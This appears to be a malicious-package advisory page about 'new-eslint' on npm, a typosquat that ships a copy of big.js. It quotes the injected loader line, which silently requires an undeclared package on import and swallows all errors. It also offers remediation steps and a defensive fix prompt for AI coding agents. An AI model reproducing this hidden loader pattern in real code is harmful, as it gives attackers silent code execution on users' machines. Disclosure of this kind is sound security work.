# MAL-2026-6224: Malicious code in new-eslint (npm)


- **Type:** Malicious package
- **Package:** `new-eslint` (npm)
- **Published:** 19 Jun 2026
- **Also known as:** GHSA-8h72-5mvw-5f6r

## What is MAL-2026-6224?

MAL-2026-6224 is a malicious package in new-eslint, published on 19 Jun 2026. 

### Official description

Package is published as 'new-eslint' but ships a verbatim copy of MikeMcl/big.js, with a hidden loader injected mid-file between P.minus and P.mod in both big.js:605 and big.mjs:605: `const helper = require("ts-eslint-helper"); helper.from_str().then(e => e).catch(e => { });`. This require fires whenever a consumer imports or requires the package and silently swallows all errors. The required package `ts-eslint-helper` is not declared in package.json — the manifest lists a different package, `eslint-helper@4.0.1` — so the loaded code is undeclared and attacker-mutable. The README claims 'no dependencies' and describes big.js, while the package name impersonates eslint tooling: classic typosquat lure plus hidden remote-controlled loader. Whatever `ts-eslint-helper.from_str()` does runs in the installer's process on import with no advertised functionality justifying it.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-6224?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6224 is a malicious package: new-eslint (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6224/ (Markdown: https://insights.sbomify.com/MAL-2026-6224/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6224

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-6224/
Summaries are generated and may contain mistakes; the official description above is the record.